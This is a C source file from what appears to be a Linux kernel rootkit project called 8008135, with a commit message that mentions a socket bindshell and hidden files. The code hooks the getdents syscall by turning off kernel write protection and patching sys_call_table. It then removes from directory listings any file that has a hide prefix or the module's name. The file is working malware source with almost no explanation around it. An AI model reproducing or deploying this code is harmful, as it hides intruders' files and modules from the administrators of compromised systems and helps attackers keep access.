Valentin Lechner
062fdebeae
Added an 'src' dir with subfolders headers, include, libs Extending Makefile, so that all the Files get included for the build. Also adding the "load" option for make, which loads the module (has to be built before) as well as the "unload" option which unloads the module. The "all" option now automatically builds the sysgen.h from the script, it doesn't have to be executed in forehand anymore. Also, some Variables got added for better readability and changeability. After the socket bindshell didnt work so far, I added some DEBUG Kernel prints to debug the issue that sometimes the files to be hidden get displayed as "?" Also, a few Functions for debugging have been added - but I was too tired to add them to the collection and use them instead of ```printk```
133 lines
4.2 KiB
C
133 lines
4.2 KiB
C
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
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/*
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* main.c
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* Copyright (C) 2019
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*
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* 8008135 is free software: you can redistribute it and/or modify it
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* under the terms of the GNU General Public License as published by the
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* Free Software Foundation, either version 3 of the License, or
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* (at your option) any later version.
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*
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* 8008135 is distributed in the hope that it will be useful, but
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* WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
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* See the GNU General Public License for more details.
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*
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* You should have received a copy of the GNU General Public License along
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* with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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/**** includes *****************************************************************
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*******************************************************************************/
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#include "8008135.h"
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/**** var ********************************************************************
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*******************************************************************************/
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sys_getdents_t sys_getdents_orig = NULL;
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/*** FUNCTION ****************************************************************
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* NAME: sys_getdents_new
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* DESCRIPTION: function overriding the original getdents
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* PARAMETERS: -
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* RETURNS: -
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*******************************************************************************/
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asmlinkage long sys_getdents_new(unsigned int fd,
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struct linux_dirent __user *dirent,
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unsigned int count) {
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int boff;
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struct linux_dirent* ent;
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long ret = sys_getdents_orig(fd, dirent, count);
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char* dbuf;
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if (ret <= 0) {
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return ret;
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}
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dbuf = (char*)dirent;
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// go through the entries, looking for one that has our prefix
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for (boff = 0; boff < ret;) {
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ent = (struct linux_dirent*)(dbuf + boff);
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// if it has hide prefix or module name anywhere, hide it
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if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0)
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|| (strstr(ent->d_name, MODULE_NAME) != NULL)) {
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#if defined DEBUG
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printk("\n hide prefix or mod name contained!\n");
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printk("\n ret %ld\n ", ret);
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printk("\n dbuf %d\n" , dbuf);
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printk("\n");
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printk(ent->d_name);
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#endif
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// remove this entry by copying everything after it forward
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// and adjust the length reported
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#if defined DEBUG
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printk("\n reclen %u \n", ent->d_reclen);
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#endif
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memcpy(dbuf + boff,
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dbuf + boff + ent->d_reclen,
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ret - (boff + ent->d_reclen));
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ret -= ent->d_reclen;
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#if defined DEBUG
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printk("\n ret after change %ld\n ", ret);
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#endif
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} else {
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// on to the next entry
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boff += ent->d_reclen;
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}
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}
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return ret;
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}
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/*** FUNCTION ****************************************************************
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* NAME: 8008135_init
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* DESCRIPTION: initializing Kernel Module
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* PARAMETERS: -
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* RETURNS: int
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*******************************************************************************/
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static int __init init_8008135(void) {
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printk(KERN_INFO "sys_call_table @ %p\n", sys_call_table);
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// record the original getdents handler
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sys_getdents_orig = (sys_getdents_t)((void**)sys_call_table)[GETDENTS_SYSCALL_NUM];
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printk(KERN_INFO "original sys_getdents @ %p\n", sys_getdents_orig);
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// turn write protect off
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write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG));
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// add our new handlers
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sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_new;
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// turn write protect back on
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write_cr0(read_cr0() | WRITE_PROTECT_FLAG);
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printk(KERN_INFO "New syscall in place\n");
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return 0;
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}
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/*** FUNCTION ****************************************************************
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* NAME: 8008135_exit
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* DESCRIPTION: unloading Kernel Module
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* PARAMETERS: -
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* RETURNS: -
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*******************************************************************************/
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static void __exit exit_8008135(void) {
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// allow us to write to read onlu pages
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write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG));
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// set getdents handler back
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sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_orig;
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// turn write protect back on
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write_cr0(read_cr0() | WRITE_PROTECT_FLAG);
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printk(KERN_INFO "Old syscall back\n");
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}
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// Setting pointers to init-/exit-functions
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module_init(init_8008135);
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module_exit(exit_8008135);
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